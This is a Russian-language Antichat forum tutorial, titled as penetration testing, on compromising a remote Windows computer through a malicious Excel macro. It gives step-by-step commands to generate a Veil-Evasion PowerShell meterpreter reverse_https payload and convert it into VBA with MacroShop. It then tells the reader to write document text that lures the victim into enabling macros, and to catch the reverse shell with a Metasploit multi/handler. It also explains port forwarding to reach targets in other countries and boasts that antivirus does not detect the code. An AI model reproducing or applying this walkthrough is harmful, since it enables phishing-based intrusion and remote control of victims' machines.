ANTICHAT - Penetration Testing with Microsoft Office

Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

https://forum.antichat.xyz/attachmen...401def65a4.png

Мы будем использовать пайлоад сID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

https://forum.antichat.xyz/attachmen...d09f259692.png

Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

https://forum.antichat.xyz/attachmen...b326d28542.png

Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

https://forum.antichat.xyz/attachmen...c35d970eae.png

Именно на этот LHOSTи LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

https://forum.antichat.xyz/attachmen...f58b08d575.png

Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

https://forum.antichat.xyz/attachmen...b448dcf0d0.png

Вводим имя:

https://forum.antichat.xyz/attachmen...3e966f1938.png

Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

https://forum.antichat.xyz/attachmen...8d05001b80.png

Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clonehttps://github.com/khr0x40sh/MacroShop

https://forum.antichat.xyz/attachmen...47d896b96b.png

После установки, переместим файл win8.1 в директорию MacroShop.

https://forum.antichat.xyz/attachmen...bbefb07894.png

Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

https://forum.antichat.xyz/attachmen...0a4cffeea8.png

После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

https://forum.antichat.xyz/attachmen...448d6ffb65.png

Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

https://forum.antichat.xyz/attachmen...d7736d4733.png

Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

https://forum.antichat.xyz/attachmen...cd33c47fe0.png

В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

https://forum.antichat.xyz/attachmen...500404e0b3.png

Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

https://forum.antichat.xyz/attachmen...1040da2472.png

и введем следующие команды:

> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

https://forum.antichat.xyz/attachmen...8e7a03c049.png

Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.